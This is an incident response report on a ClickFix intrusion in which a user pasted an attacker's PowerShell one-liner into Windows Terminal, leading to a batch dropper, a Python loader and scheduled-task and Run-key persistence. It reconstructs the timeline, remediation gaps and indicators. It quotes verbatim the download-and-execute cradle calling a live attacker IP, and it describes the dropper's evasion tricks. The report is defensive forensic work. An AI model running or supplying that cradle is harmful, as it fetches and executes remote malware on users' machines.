Incident Response Report
ClickFix Social Engineering β Python Loader with Multi-Vector Persistence
Final status: Host remediated and verified clean; identity remediation and network-level blocking tracked as follow-on actions.
Sanitization notice: All client-identifying information has been redacted. Organization name, hostname, user account name, security account identifiers, and vendor portal references are replaced with placeholders. Attacker infrastructure, file hashes, malware artifacts, and technique details are reproduced unmodified, as they carry no client-identifying value and are the substance of the analysis.
1. Executive Summary
A managed EDR platform detected malicious Python interpreter activity on a Windows 11 workstation at a client site and automatically isolated the host. The vendor SOC generated an assisted remediation plan, which was approved and executed. The incident failed to clear β one persistence artifact remained flagged in the platform.
Manual investigation established that the vendor's remediation plan had been constructed from an incomplete picture of the intrusion. The vendor report identified a dropped installer as the origin of the compromise. Forensic reconstruction demonstrated that this installer was in fact a second-stage payload, downloaded roughly four and a half minutes after the actual initial access event.
The true entry vector was a ClickFix social engineering attack: the user was induced to paste an attacker-supplied PowerShell one-liner into Windows Terminal. This produced a chain of execution that included a batch dropper, a second command-and-control endpoint hosted on a compromised WordPress site, and a payload directory that the vendor telemetry never associated with the incident at all.
Three distinct failures were identified in the automated remediation, and a fourth persistence mechanism was discovered that appeared nowhere in the vendor's report. All were manually closed. Host-level remediation was completed and independently verified.
Key Outcomes
| Metric | Value |
|---|---|
| Time from execution to automated detection | ~5 minutes |
| Time from detection to isolation | Immediate (automated) |
| Persistence mechanisms established by malware | 4 |
| Persistence mechanisms identified by vendor SOC | 3 |
| Persistence mechanisms successfully removed by automated remediation | 2 |
| Malicious files remaining on disk after automated remediation | ~40 MB across 3 directories |
| C2 endpoints identified by vendor | 0 |
| C2 endpoints recovered through manual analysis | 2 |
2. Environment
| Attribute | Value |
|---|---|
| Organization | [CLIENT-REDACTED] β automotive retail sector |
| Host | [HOSTNAME-REDACTED] |
| Operating system | Windows 11 Pro |
| Host type | Shared workstation, 4 local user profiles |
| Affected account | [USER-REDACTED] β standard user, SID ending -1002 |
| Endpoint security | Managed EDR agent + Microsoft Defender Antivirus |
| Remote access | RMM remote-shell session, SYSTEM context |
3. Attack Chain Reconstruction
All times local (UTC-5).
| Time | Event | Evidence source |
|---|---|---|
| 08:12:48 | Lure page rendered; per-victim tracking ID generated | Decoded from C2 URL parameter |
| 08:13:28 | wt.exe, WindowsTerminal.exe, OpenConsole.exe β first execution ever recorded on this host | Prefetch CreationTime |
| ~08:13:30 | User pastes attacker one-liner into Terminal; download cradle executes | PSReadLine console history |
| 08:13:59 | csc.exe + cvtres.exe β runtime C# compilation | Prefetch |
| 08:14:29 | Payload directory %LOCALAPPDATA%\DNSDK created | Directory CreationTime |
| 08:14:45 | 13 payload files written to DNSDK | File CreationTime |
| 08:14:55 | CPUMetricsServer.exe first execution | Prefetch |
| 08:17:14 | C:\ProgramData\setup\setup.exe written (15.1 MB) | File CreationTime |
| 08:17:15β16 | setup.exe and 7za.exe execute; portable Python runtime extracted | Prefetch |
| 08:17:26 | pythonw.exe executes main.pyw | Prefetch, corroborated by EDR |
| 08:17:43 | YkByDCFo.mus written to Python payload directory | File LastWriteTime |
| 08:17:57 | consent.exe β UAC prompt (attributed to browser elevation service, not the malware) | Prefetch |
| 08:22:28 | EDR detection and automatic host isolation | EDR platform |
| 08:54:31 | Vendor SOC assisted remediations executed | EDR platform |
| ~09:40 | Host rebooted; manual IR session begins | β |
Dwell time with unrestricted network access: approximately 5 minutes.
The significance of this timeline is the ordering. The vendor report characterized setup.exe
(08:17:14) as the installer that deployed the malware. The DNSDK directory was created at
08:14:29 β two minutes and forty-five seconds before setup.exe existed on disk,
and its binary had already executed at 08:14:55. Two separate payload branches were deployed from a
common parent that the vendor never observed.
4. Initial Access
4.1 Recovered command
The following was recovered verbatim from the user's PSReadLine console history file:
iex(irm http://158.94.211.92/std/?sid=1784812368939-xxxxxxxx -UseBasicParsing)
This is a standard PowerShell download cradle: Invoke-RestMethod retrieves a remote
script, Invoke-Expression executes it in memory without writing to disk.
4.2 Analysis of the URL
Plain HTTP to a bare IPv4 address. No DNS resolution occurred at any point. This has direct operational consequence: DNS logging, DNS filtering, and protective-DNS controls provide zero visibility and zero protection against this stage. Firewall log searches for related activity must be conducted by IP address.
The sid parameter is a Unix millisecond timestamp. The value
1784812368939 decodes to 2026-07-23 13:12:48 UTC β 08:12:48 local, forty seconds
before Windows Terminal first launched. This is a per-victim tracking identifier generated
server-side when the lure page rendered. It establishes the moment the user encountered the lure and
confirms the operator tracks victims individually.
4.3 Delivery mechanism determination
Two competing hypotheses were tested:
| Hypothesis | Test | Result |
|---|---|---|
| Win+R Run dialog paste (classic ClickFix) | Query HKCU\...\Explorer\RunMRU | Rejected β key does not exist on this profile. The Run dialog has never been used. |
| Downloaded fake installer | Enumerate Downloads folder by creation date | Rejected β no items from the incident date; most recent file predates the incident by two weeks. |
| Interactive paste into Windows Terminal | Prefetch first-execution analysis of wt.exe | Confirmed β first execution ever on this host, 40 seconds after lure page load. |
The Windows Terminal variant of ClickFix is a deliberate evolution. Security awareness training has
historically focused on the Win+R Run dialog, and some organizations disable or monitor it. Directing
the victim to Windows Terminal β a legitimate, modern, developer-facing application present by default
on Windows 11 β evades both the training and the control. It also defeats RunMRU as a
forensic artifact.
4.4 Logging gap
PowerShell Script Block Logging (Event ID 4104) did not capture the initial access command. A query of the PowerShell Operational log across the full incident window returned only Defender CIM module autoloads occurring at 08:24 β two minutes after detection, and unrelated to the intrusion.
PSReadLine console history was the sole source of recovery. This is a fragile dependency: PSReadLine history is user-writable, trivially deleted, and has a finite buffer. Had the operator issued a single cleanup command, the entire initial access vector would have been unrecoverable.
5. Stage 1 β slimer.bat
Recovered from %LOCALAPPDATA%\Temp\slimer.bat (2,002 bytes).
5.1 Observed behavior
| Behavior | Implementation | Purpose |
|---|---|---|
| Self-relaunch minimized | start /min "" "%~f0" go & exit /b | Reduce visual footprint |
| Command-line string evasion | set "a=power" / set "b=shell", concatenated at invocation | Defeat detections matching the literal string powershell.exe |
| Hidden execution | -WindowStyle Hidden -NoP -NonI -EP Bypass | Suppress window, bypass execution policy |
| Console window suppression | Add-Type -MemberDefinition P/Invoke of GetConsoleWindow + ShowWindow | Hide any console that does appear |
| TLS inspection bypass | ServerCertificateValidationCallback = {$true} | Accept any certificate; function through inspection proxies |
| Payload freshness check | HEAD request comparing ContentLength against existing file size | Re-download only if the hosted payload has changed |
| C2 resilience | 80 retry attempts at 3-second intervals | ~4 minutes of persistent connection attempts |
| Anti-analysis size check | Delete and abort if payload < 1 MB | Reject error pages, sinkhole responses, truncated downloads |
| Self-cleanup | ri $dst -Recurse -Force after WaitForExit() | Remove payload directory once execution completes |
5.2 The csc.exe finding
Prefetch showed csc.exe (the C# compiler) and cvtres.exe executing at 08:13:59.
In isolation this is a significant indicator β runtime compilation is a well-established technique for
building malicious assemblies in memory and evading file-based detection.
Analysis of the recovered dropper downgraded this finding. The
Add-Type -MemberDefinition call compiles a trivial two-function P/Invoke wrapper around
GetConsoleWindow and ShowWindow, used solely to hide the console window. This
is a defense-evasion behavior, but it is not an in-memory malicious assembly. Documenting the downgrade
matters: an unresolved "attacker compiled code in memory" note would have driven unnecessary escalation.
5.3 Why the artifacts survived
The dropper is written to delete C:\ProgramData\setup after the payload process exits.
That directory was still present on disk at the time of investigation, which
establishes that WaitForExit() never returned. Automated isolation at 08:22:28 and the
subsequent reboot terminated the parent process before its cleanup routine could execute.
Containment worked as designed, and its secondary effect was evidentiary: the interruption preserved the artifacts that made this reconstruction possible.
5.4 Scope limitation
slimer.bat accounts only for the setup.exe branch of the intrusion. It
contains no logic that creates the DNSDK directory. Since DNSDK was written at
08:14:29 β before setup.exe existed β the original in-memory payload retrieved by the
iex cradle necessarily contained a second branch that deployed that stage directly.
That parent script executed only in memory and was not recoverable. This limitation is stated explicitly rather than allowing the report to imply complete coverage of the intrusion.
6. Payload Analysis
6.1 C:\ProgramData\<32-hex-char-directory>\
A complete portable Python 3.11 runtime β interpreter, standard library archive, OpenSSL libraries, and compiled extension modules β deployed alongside:
main.pyw(2.9 MB) β the malicious script, packeduaRyY.mip(1.6 MB) β encrypted configuration or secondary payloadYkByDCFo.mus(8 bytes) β written at 08:17:43, likely a state or marker file
Randomized 32-character hexadecimal directory naming defeats static path-based detection and blocklisting.
6.2 %LOCALAPPDATA%\DNSDK\
Thirteen files. Naming conventions (DNSDK, Machine.db, Hub.Cache.dat,
Device.dll, Platform.dll) were selected to resemble a legitimate vendor SDK or
driver-support package.
Authenticode analysis:
| File | Signature status |
|---|---|
drDr.dll | NotSigned |
Platform.dll | NotSigned |
VM.dll | NotSigned |
concrt140.dll, msvcp140*.dll, vcruntime140*.dll, ucrtbase.dll | Valid β Microsoft |
The validly signed files are the standard Microsoft Visual C++ redistributable, which ships alongside anything compiled in Visual Studio. Their presence and signature status are not indicative in either direction β a point worth stating explicitly, since a signature-status column alone reads as "mostly legitimate" to a casual reviewer.
Version resource analysis β the decisive finding:
| File | Claimed company | Claimed product |
|---|---|---|
drDr.dll | Finkit d.o.o. | ManicTime |
VM.dll | Kaizen Software Solutions | Vehicle Manager |
Device.dll, Platform.dll | Advanced Micro Devices | β |
Version metadata was scraped from three unrelated commercial software products and applied to the malicious binaries. This is masquerading intended to survive casual inspection: an analyst spot-checking file properties sees plausible vendor names. The choice of "Vehicle Manager" is notable given the client's sector; whether that reflects deliberate targeting or coincidental selection cannot be determined from available evidence, and no conclusion is drawn.
6.3 Timestamp analysis β a rejected hypothesis
Initial directory listings showed LastWriteTime values ranging from 2024 through May 2026.
Taken at face value, this suggested DNSDK predated the incident by months, which would have
escalated scope from a single-day compromise to a potential long-dwell intrusion.
This hypothesis was tested and rejected. CreationTime analysis returned:
- Directory created 2026-07-23 08:14:29
- All 13 files created 2026-07-23 08:14:45
Archive extraction and packing routines preserve original LastWriteTime values while
setting CreationTime to the moment of extraction. The correct artifact for "when did this
arrive on this host" is CreationTime; LastWriteTime answers a different
question β when the file was built β and conflating the two produces false conclusions in both directions.
6.4 Suspected desktop capture β a second rejected hypothesis
Three JPEG files between 0.5 MB and 1.5 MB were found in the user's temp directory within the incident window. Python-based infostealers commonly capture the desktop prior to exfiltration, and both timing and file size were consistent with that behavior.
Rejected on measurement. Image dimensions were approximately 2540Γ3306, 2543Γ3312, and 2519Γ3302 β US Letter at 300 DPI. Prefetch confirmed multifunction-printer software active on the host. These are scanner output, not screen captures. Had this not been checked, the report would have carried "confirmed desktop capture and exfiltration" β a finding that materially changes client notification obligations.
7. Persistence Inventory
| # | Type | Name | Target | Vendor ID'd | Auto-removed |
|---|---|---|---|---|---|
| 1 | Scheduled Task | IAmNotWorthItg | pythonw.exe + main.pyw | Yes | Yes |
| 2 | Scheduled Task | RickisUpdate | pythonw.exe + main.pyw | Yes | Yes |
| 3 | Registry Run key | DNApp | CPUMetricsServer.exe | Yes | Yes |
| 4 | Registry Run key | CPU Metrics Server | CPUMetricsServer.exe | Yes | No β delete reported success, value persisted |
| 5 | Scheduled Task | CPU Metrics Server | CPUMetricsServer.exe | No β never enumerated | No |
Five persistence artifacts across two mechanism classes, both scoped to the user context. No SYSTEM-level or machine-wide persistence was established, which is consistent with a user-level infection that never achieved elevation.
7.1 The registry hive access problem
The initial registry query against the user's HKU\<SID> path returned "unable to
find the specified registry key." This is ambiguous and easy to misread as confirmation that the key
had been successfully deleted.
reg query HKU returned only .DEFAULT and the three service SIDs. The user's
hive was not loaded, because no interactive login had occurred since the reboot. The Run
key exists on every user profile by default; a query returning "not found" for a universally present
key indicates a missing hive, not a missing value. Resolution was to mount the hive from disk:
reg load HKU\J "C:\Users\[USER]\NTUSER.DAT"
The CPU Metrics Server value was present. The vendor platform had reported this deletion
as successful. This raises a question about the automated remediation's own execution context: if the
user's hive was likewise unloaded when the platform ran its registry deletes, then the operation
targeted a path that did not exist β and reported success regardless. Following any offline hive work,
unmounting is mandatory:
[gc]::Collect(); reg unload HKU\J
Leaving the hive mounted holds NTUSER.DAT open and forces the user into a temporary
profile at next login β converting a clean remediation into a visible service incident.
7.2 The undocumented scheduled task
A persistence sweep beyond the artifacts named in the vendor report identified a fifth mechanism: a
scheduled task named CPU Metrics Server at the root task path, executing the
DNSDK binary. This task appeared in none of the vendor's outputs. It was
discovered only because the sweep enumerated tasks by execution path pattern rather
than by the task names supplied in the vendor report:
Get-ScheduledTask | Where {$_.Actions.Execute -match 'ProgramData|AppData'}
Scoping verification to the artifacts an upstream tool already told you about cannot, by construction, find what that tool missed.
8. Defense Evasion & Security Control Status
Microsoft Defender was verified fully operational throughout:
| Control | State |
|---|---|
| Real-time protection | Enabled |
| Tamper protection | Enabled |
| Running mode | Normal |
| Signature currency | Same-day, 04:44 |
| Attacker-added path exclusions | None |
| Attacker-added process exclusions | None |
| Attacker-added extension exclusions | None |
This is a meaningful negative finding. Defender exclusion abuse is among the most common defense-evasion steps in commodity intrusions, and its absence here indicates the operator either never attempted it or lacked the elevation to do so. Combined with the absence of machine-wide persistence, this supports the assessment that the intrusion remained user-scoped throughout. Evasion techniques that were observed operated at the script layer β string-splitting to defeat command-line matching, hidden window execution, certificate validation bypass, masqueraded file metadata, and randomized directory naming.
9. Indicators of Compromise
9.1 Network
| Indicator | Type | Notes |
|---|---|---|
158.94.211.92 | IPv4 β stage 1 C2 | Plain HTTP, path pattern /std/?sid=<epoch_ms>-<random>. No DNS resolution β invisible to DNS-layer controls. |
aerobicperl.com | Domain β stage 2 host | Compromised WordPress site |
hxxps://aerobicperl[.]com/wp-uploads/user1487376484/h8egrtnu7y43e57uygtn.ico | URL β payload | Executable served with .ico extension |
9.2 Host
| Indicator | Type |
|---|---|
%LOCALAPPDATA%\Temp\slimer.bat | Batch dropper, 2,002 bytes |
C:\ProgramData\<32-hex>\ | Python runtime payload directory |
C:\ProgramData\setup\setup.exe | Stage 2 installer, 15.1 MB |
%LOCALAPPDATA%\DNSDK\ | Secondary payload directory, 13 files |
main.pyw | Packed Python malware, 2.9 MB |
uaRyY.mip | Encrypted configuration/payload, 1.6 MB |
CPUMetricsServer.exe | Persistence binary |
9.3 Hashes (SHA256)
9e70fe7eaaa5292b96991c8f2f8f489b1e5cfe2fb15ba81cd001faff32b06659 setup.exe
14a89eda72e385f76bf15a7c4fd539c48837cf5df444a16f28c5b94f29799550 pythonw.exe
072fc925ea0f0eec736edebc881024781f36b8e6e15e761475934bfe71e20eb8 CPUMetricsServer.exe
9.4 Behavioral
- Windows Terminal executing for the first time on a non-technical user's workstation
csc.exe/cvtres.exespawned in a PowerShell process lineage- Python interpreter executing from a randomized
ProgramDatasubdirectory - Scheduled tasks or Run keys at root/user scope targeting
%LOCALAPPDATA%or%PROGRAMDATA%paths - Executable content served with image file extensions
10. MITRE ATT&CK Mapping
| Tactic | Technique | ID | Observation |
|---|---|---|---|
| Initial Access | Phishing | T1566 | Lure page directing user to execute attacker-supplied command |
| Execution | User Execution: Malicious Copy and Paste | T1204.004 | Command pasted into Windows Terminal by the user |
| Execution | Command and Scripting Interpreter: PowerShell | T1059.001 | iex(irm ...) download cradle |
| Execution | Command and Scripting Interpreter: Windows Command Shell | T1059.003 | slimer.bat |
| Execution | Command and Scripting Interpreter: Python | T1059.006 | pythonw.exe executing main.pyw |
| Persistence | Scheduled Task/Job: Scheduled Task | T1053.005 | Three tasks created |
| Persistence | Boot or Logon Autostart: Registry Run Keys | T1547.001 | Two Run values created |
| Defense Evasion | Obfuscated Files or Information | T1027 | String-split construction of powershell |
| Defense Evasion | Masquerading: Match Legitimate Name or Location | T1036.005 | DNSDK, CPU Metrics Server, setup.exe |
| Defense Evasion | Masquerading | T1036 | Version resources scraped from unrelated commercial products |
| Defense Evasion | Hide Artifacts: Hidden Window | T1564.003 | -WindowStyle Hidden plus ShowWindow P/Invoke |
| Defense Evasion | Indicator Removal: File Deletion | T1070.004 | Self-cleanup routine (interrupted by containment) |
| Command and Control | Application Layer Protocol: Web Protocols | T1071.001 | HTTP and HTTPS C2 |
| Command and Control | Ingress Tool Transfer | T1105 | Second-stage payload retrieval |
| Credential Access | Credentials from Password Stores: Web Browsers | T1555.003 | Assessed, not confirmed β consistent with malware family capability |
11. Remediation Actions
11.1 Executed by vendor SOC (verified during investigation)
- Terminated
pythonw.exe - Deleted scheduled tasks
IAmNotWorthItgandRickisUpdate, including task definition files - Deleted registry Run value
DNApp - Deleted
CPUMetricsServer.exe - Host reboot
11.2 Executed manually
| Action | Target |
|---|---|
| Directory deletion (recursive) | C:\ProgramData\<32-hex>\ |
| Directory deletion (recursive) | C:\ProgramData\setup\ |
| Directory deletion (recursive) | %LOCALAPPDATA%\DNSDK\ |
| Registry value deletion (offline hive) | Run\CPU Metrics Server |
| Scheduled task deletion | \CPU Metrics Server |
| Evidence preservation | 10 malware samples retained for analysis |
11.3 Verification performed
| Check | Method | Result |
|---|---|---|
| No malicious processes | Process enumeration by name and path | Clean |
| No residual payload | Directory enumeration of all three payload paths | Clean |
| User Run keys | Offline hive query post-deletion | Clean β 4 legitimate values remain |
| Machine Run keys | HKLM\...\CurrentVersion\Run | Clean β 5 legitimate values |
| Startup folders | User and All Users Start Menu Startup | Empty |
| Scheduled tasks | Enumeration by execution path pattern, not by name | Clean β all remaining root-path tasks attributed to known vendors |
| Hidden/renamed tasks | Task definition files with write time after incident start | None |
| AV health | Real-time, tamper protection, running mode, signature age | Fully operational |
| AV exclusions | Path, process, and extension exclusion lists | No attacker-added entries |
12. Detection & Response Gaps Identified
12.1 Automated remediation reported a failed operation as successful
The CPU Metrics Server registry value persisted after the platform reported its deletion
complete. This was the sole reason the incident would not clear, and it was surfaced only because the
platform's own footholds view continued to flag it. Implication: Automated
remediation results require independent verification. A success indicator in a vendor console is a
claim, not a confirmation.
12.2 Malicious payload left on disk
Approximately 40 MB of malicious files across three directories remained after the automated plan completed. The plan deleted persistence mechanisms and the single binary they referenced, but not the payload those mechanisms existed to launch. Implication: A host with persistence removed but payload intact is not remediated. It is one re-established autostart away from reinfection.
12.3 Persistence mechanism never enumerated
The \CPU Metrics Server scheduled task appeared in no vendor output.
Implication: Verification must enumerate persistence independently, by behavioral
pattern, rather than confirming removal of the specific artifacts an upstream tool named.
12.4 Incident scope began 4.5 minutes after initial access
The vendor report identified setup.exe as the initial installer. Prefetch analysis placed
three earlier execution events before it, and the actual entry vector appeared nowhere in vendor
telemetry. Implication: Detection fired on the Python interpreter behavior, but the
platform did not reconstruct upstream lineage. Had remediation been accepted at face value, the
primary C2 would never have been identified or blocked.
12.5 Script Block Logging did not capture the attack
Event ID 4104 contained no record of the initial access command. Recovery depended entirely on PSReadLine console history β a user-writable file that a single cleanup command would have destroyed.
13. Recommendations
13.1 Immediate β this incident
- Block
158.94.211.92andaerobicperl.comat the perimeter firewall. - Search firewall logs by IP address for any other internal host contacting the stage 1 C2. DNS logs will not contain this indicator.
- Treat the affected user's credentials as compromised: password reset, session and refresh token revocation, mailbox rule and forwarding audit, sign-in log review from the time of execution forward, and reset of any credentials stored in the browser.
- Submit the reconstructed timeline and both C2 indicators to the EDR vendor SOC for detection tuning.
13.2 Assessment on exfiltration
Exfiltration is unconfirmed in both directions. No direct evidence of data theft was recovered, and no evidence was found that would rule it out. The payload had approximately five minutes of unrestricted network access before isolation, which is sufficient for credential and browser data collection and transmission. The absence of evidence is expected rather than reassuring: exfiltration over HTTPS from a process that was subsequently terminated leaves minimal host-side artifact. Credential remediation proceeds on the assumption of compromise, which is the only defensible posture given the capability profile of this malware family.
13.3 Preventive controls
| Control | Rationale |
|---|---|
| Enable PowerShell Script Block Logging fleet-wide | It failed to capture this attack; PSReadLine is not a dependable substitute |
| Forward PowerShell operational logs to central collection | Local logs are within reach of any user-level compromise |
| Restrict Windows Terminal for non-technical roles | It served as the execution surface here specifically because it is unmonitored and untrained-for |
| Update security awareness content to cover ClickFix | Training that addresses only the Run dialog does not cover the current variant |
Alert on csc.exe in a PowerShell process lineage | Runtime compilation on a non-developer workstation is inherently anomalous |
Alert on first-ever execution of wt.exe on non-technical endpoints | High-signal, low-volume indicator |
| Review clear-text document accumulation in user temp directories | Scanned business documents were found unencrypted in temp; a stealer sweeping %TEMP% would have collected them |
13.4 Process
Verify automated remediation independently. Three separate defects in a single vendor-generated plan establish that plan completion is not equivalent to host remediation.
Enumerate by behavior, not by name. The undocumented scheduled task was found by
matching execution paths against ProgramData and AppData, not by checking the
tasks the vendor listed. Verification methodology must be independent of the tool being verified, or it
inherits that tool's blind spots.
Reconstruct the full timeline before accepting a stated root cause. Prefetch
CreationTime analysis is inexpensive and definitive. Here it moved the incident's origin
four and a half minutes earlier and surfaced an entire attack stage, a second C2 endpoint, and a second
payload directory that would otherwise have gone unaddressed.
14. Analytical Notes
Several working hypotheses were formed and subsequently rejected during this investigation. They are documented because the reasoning that discarded them is part of the method, and because a report presenting only confirmed conclusions misrepresents how the conclusions were reached.
| Hypothesis | Basis | Test | Outcome |
|---|---|---|---|
| A live process was rewriting the surviving Run key | Key reappeared after deletion β classic watchdog behavior | Process enumeration by name and path | Rejected β nothing running; target binary already deleted. Simple failed delete. |
DNSDK represented a compromise dating to May 2026 | File LastWriteTime values ranged MarchβMay 2026 | CreationTime analysis | Rejected β all files created same-day 08:14:45. Write times are packer-preserved build times. |
csc.exe indicated a malicious in-memory .NET assembly | Runtime compilation in a PowerShell lineage | Recovery and reading of the dropper source | Downgraded β console-hiding P/Invoke only |
| Three large temp JPEGs were infostealer desktop captures | Size and timing consistent with screen capture | Image dimension measurement | Rejected β Letter at 300 DPI; MFP scanner output |
The consent.exe UAC prompt indicated attempted elevation | Timing placed it inside the infection window | Cross-reference against dropper source and prefetch | Unresolved, low confidence β no elevation logic in recovered code; browser elevation service active in same window |
The pattern worth extracting: in four of five cases, a cheap and specific test converted an alarming hypothesis into a determination. The cost of each test was seconds. The cost of carrying any one of them into a client report unverified would have been an incorrect scope, an unnecessary escalation, or a notification obligation asserted without basis.
15. Assessment Summary
| Question | Determination | Confidence |
|---|---|---|
| Initial access vector | ClickFix social engineering via Windows Terminal paste | High β command recovered verbatim, corroborated by prefetch and negative RunMRU finding |
| Time of initial compromise | 08:12:48 local (lure), 08:13:28 (execution) | High β independent timestamp sources agree |
| Elevation achieved | No | Moderate-high β all persistence user-scoped, no machine-wide artifacts, no AV tampering |
| Lateral movement | None observed | Moderate β host isolated within 5 minutes; network-side verification pending firewall log review |
| Data exfiltration | Unconfirmed; assumed for remediation purposes | Low confidence in either direction; ~5 minutes of network access available |
| Credential compromise | Assumed | Assumption-based, driven by malware family capability rather than direct evidence |
| Host remediation | Complete and verified | High β independent multi-vector verification performed |
| Additional affected hosts | Unknown; hunt pending | Firewall log review by IP required |
Report prepared by Jeremy Tarkington. All client-identifying information redacted. Attacker infrastructure and malware artifacts reproduced unmodified.